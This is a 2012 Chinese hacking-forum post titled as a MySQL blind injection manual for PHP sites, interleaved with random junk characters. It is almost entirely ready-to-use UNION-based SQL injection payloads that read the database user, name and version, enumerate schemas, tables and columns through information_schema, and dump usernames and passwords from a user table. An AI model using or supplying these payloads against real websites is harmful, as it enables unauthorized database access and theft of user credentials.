中国网络渗透测试联盟
标题:
mysql盲注手册
[打印本页]
作者:
admin
时间:
2012-9-13 16:27
标题:
mysql盲注手册
( m& j: {. ^+ `# A
教程内容:Mysql 5+php 注入
1 _: x! g$ Q7 k$ h, h
7 Y, g5 s6 u+ [
8 R: O" c4 ?* u* l- I p! ?
/ h; W0 C$ n3 p x/ J
一.查看MYSQL基本信息(库名,版本,用户)
7 l' G$ R+ B' X
- X) k$ \5 O3 z3 y `+ ^% h
and 1=2 union select 1,2,3,CONCAT_WS(CHAR(32,58,32),user(),database(),version()),5,6,7,8/*
, a, ^- g, a9 Z3 A5 ?5 e9 u
5 s: t/ }: M# [. Y h" I. S. f
二.查数据库
+ }4 m' R, z; \5 r* D- p
7 \) |' c! p; ?6 p
and 1=2 union select 1,SCHEMA_NAME,3,4,5,6,7,8 from information_schema.SCHEMATA limit 1,1/*
" \. k& R- T5 r+ G8 s" n5 b
limit 从0开始递增，查询到3时浏览器返回错误，说明存在2个库。
) f% Z& I3 V) }4 n
* h+ J9 d2 O8 r ]) t
三.暴表
$ q, Q/ z5 G y$ y z2 r A
: b8 `2 v. u! c: w' u _
and 1=2 union select 1,2,3,TABLE_NAME,5,6,7,8 from information_schema.TABLES where TABLE_SCHEMA =库的16进制编码 limit 1,1/*
% @5 h; \0 O# v$ I' f5 ~" c
; F: z( h" |5 r
limit 从0开始递增，查询到14时浏览器返回错误，说明此库存在13个表。
8 e% B3 a3 u& G6 _5 g: F) Z
5 N$ d5 o& J; A" X5 | I
四.暴字段
" c R# u6 a+ ~0 D _7 h
1 T' o$ ^! H2 d2 p/ v: l4 T
and 1=2 union select 1,2,3,COLUMN_NAME,4,5,6,7,8from information_schema.COLUMNS where TABLE_NAME=表的16进制编码 limit 1,1/*
# X1 _6 x- |7 I- d5 q4 U, K8 w
1 v3 b+ | i3 n5 a& H1 n% y
limit 从0开始递增，查询到时浏览器返回错误，说明此表存在N-1个列。
$ L- E( F. p4 C \9 Z5 {
4 ?1 F1 o7 N) M. w: M5 }% \" E
五.暴数据
; u6 }) M& Z( r( R$ C% Q
' M1 R( ]4 b( D! Y
and 1=2 union select 1,2,3,name,5,password,7,8 from web.ad_user/*
# P' U3 X5 ?' r. b" s$ `
( }& R" X& s& ^8 ^* ?( m
6 k9 r$ x# t! L2 K1 R
这里直接暴明文的密码，大多时候我们遇到的是MD5加密之后的密文。
$ g9 R' a/ ~) s
欢迎光临 中国网络渗透测试联盟 (https://www.cobjon.com/)
Powered by Discuz! X3.2